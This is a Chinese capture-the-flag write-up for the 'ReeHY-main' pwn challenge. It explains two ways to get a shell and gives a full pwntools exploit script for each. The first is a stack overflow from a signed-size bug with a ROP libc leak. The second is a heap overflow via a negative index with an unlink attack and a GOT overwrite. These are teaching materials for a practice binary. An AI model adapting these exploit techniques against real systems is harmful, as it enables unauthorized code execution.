XCTF攻防世界(2019Xman第一階段練習賽) Pwn 4-ReeHY-main 兩種解法

 

一、棧溢出Getshell

分析

審計IDA代碼,發現在create中存在棧溢出、類型轉換漏洞。如下:

///棧空間佈局  
  int result; // eax
  char buf; // [rsp+0h] [rbp-90h]
  void *dest; // [rsp+80h] [rbp-10h]
  int index; // [rsp+88h] [rbp-8h]
  size_t cin_num; // [rsp+8Ch] [rbp-4h]

1.邏輯漏洞,輸入的nbytes可以<=0x1000

2.nbytes使用的eax,也就是四字節。

但在ssize_t read(int fd, void *buf, size_t nbytes)中,size_t 是無符號的,也就意味着,我們可以輸入超長字符串。並在此覆蓋棧空間。

3.我們必須要覆蓋了cin_num,因爲memcpy(dest, &buf, cin_num)的三個參數都需要爲正常。既然覆蓋,那麼我們就需要填寫上dest、index、cin_num;雖然這裏也可以實現任意地址寫,但是我們已經可以棧溢出控制程序流程咯。

利用

1.確定棧溢出中,dest、index、cin_num、ret的偏移。

2.找到需要的ROP,如:pop rdi,ret;若沒有還有其他方法(這裏就不說了)。構造payload,循環程序流程。

3.先泄漏libc地址,再計算出system、binsh的地址。Getshell。

Python腳本

from pwn import *

context.log_level="debug"

p=process("./4-ReeHY-main")
#p=remote("111.198.29.45",39294)
p.recvuntil("$")
p.sendline("kaller 2019")



def add_1(a,b,c):
    p.sendline("1")
    p.recvuntil("size\n")
    p.sendline(str(b))
    p.recvuntil("cun\n")
    p.sendline(str(a))
    p.recvuntil("content\n")
    p.send(c)



#--------------------list-------------------
puts_plt=0x00000000004006D0
free_got_addr=0x0000000000602018
read_got_addr=0x0000000000602030
main_call=0x0000000000400C8C
pop_rdi_ret=0x0000000000400da3
#-------------------------------------------

#
p.recvuntil("$")
payload="a"*(8*16)+p64(free_got_addr)+p32(0)+p32(8)+"\x00"*8
payload=payload+p64(pop_rdi_ret)+p64(read_got_addr)+p64(puts_plt)+p64(main_call)
add_1(0,-1,payload)
#-----------------libc_calc------------------
str_1=p.recvuntil("$")
leak_read_addr=u64(str_1[0:6]+"\x00\x00")
leak_system_addr=leak_read_addr-0xb1ec0
leak_binsh_addr=leak_read_addr+0x95b07
print "leak_read_addr=",hex(leak_read_addr)
#--------------------------------------------
#edb_attach()
p.sendline("zhukaikai")
p.recvuntil("$")
payload="a"*(8*16)+p64(free_got_addr)+p32(0)+p32(8)+"\x00"*8
payload=payload+p64(pop_rdi_ret)+p64(leak_binsh_addr)+p64(leak_system_addr)+p64(main_call)
add_1(0,-1,payload)




p.interactive()


二、Unlink漏洞

分析.

1.邏輯漏洞,添加時的index可以爲負數。

2.List佈局

00000000006020C0 list_size//存放malloc(0x14)_ptr
                    list_chunk     list_isUse
00000000006020E0   malloc()_ptr    0 or 1
----------------    ---------      --------

3.我們可以在添加功能中,使index=-2,這樣list_size的內容就被我們任意控制,堆溢出。

4.既然實現了堆溢出,那麼利用Unlink漏洞就可以實現任意地址寫。

Python腳本.

from pwn import *
import os
context.log_level="debug"


p=process("./4-ReeHY-main")
#p=remote("111.198.29.45",39294)
p.recvuntil("$")
p.sendline("kaller 2019")
p.recvuntil("$")


def add_1(a,b,c):
    p.sendline("1")
    p.recvuntil("size\n")
    p.sendline(str(b))
    p.recvuntil("cun\n")
    p.sendline(str(a))
    p.recvuntil("content\n")
    p.send(c)
#set LD_PRELOAD="./libc.so.6"

def del_1(a):
    p.sendline("2")
    p.recvuntil("dele\n")
    p.sendline(str(a))

def edit_1(a,b):
    p.sendline("3")
    p.recvuntil("edit\n")
    p.sendline(str(a))
    p.recvuntil("content\n")
    p.send(b)



#--------------------list-------------------
puts_plt=0x00000000004006D0
free_got_addr=0x0000000000602018
read_got_addr=0x0000000000602030
main_call=0x0000000000400C8C
pop_rdi_ret=0x0000000000400da3
chunk_list_addr=0x006020e0
#-------------------------------------------



add_1(0,0x120,"a")
p.recvuntil("$")

add_1(1,0x120,"a")
p.recvuntil("$")

add_1(-2,0x50,p32(0x200)+p32(0x200))#控制list_size
p.recvuntil("$")



fake_chunk=p64(0)+p64(0)+p64(chunk_list_addr-0x18)+p64(chunk_list_addr-0x10)
payload=fake_chunk+('a'*(0x100))+p64(0x120)+p64(0x130)
edit_1(0,payload)#僞造堆塊
p.recvuntil("$")

del_1(1)#觸發Unlink()
p.recvuntil("$")
#這裏已經可以任意地址寫了。
payload="\x00"*0x18+p64(free_got_addr)+p64(1)+p64(read_got_addr)+p64(1)#寫地址、
edit_1(0,payload)
p.recvuntil("$")

edit_1(0,p64(puts_plt))#寫內容
p.recvuntil("$")

del_1(1)#泄漏read got中地址

#-----------------libc_calc------------------
str_1=p.recvuntil("$")
leak_read_addr=u64(str_1[0:6]+"\x00\x00")
leak_system_addr=leak_read_addr-0xb1ec0
leak_binsh_addr=leak_read_addr+0x95b07
print "leak_read_addr=",hex(leak_read_addr)
#--------------------------------------------

edit_1(0,p64(leak_system_addr))

add_1(2,0x50,"/bin/sh\x00")
p.recvuntil("$")
del_1(2)


p.interactive()


 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章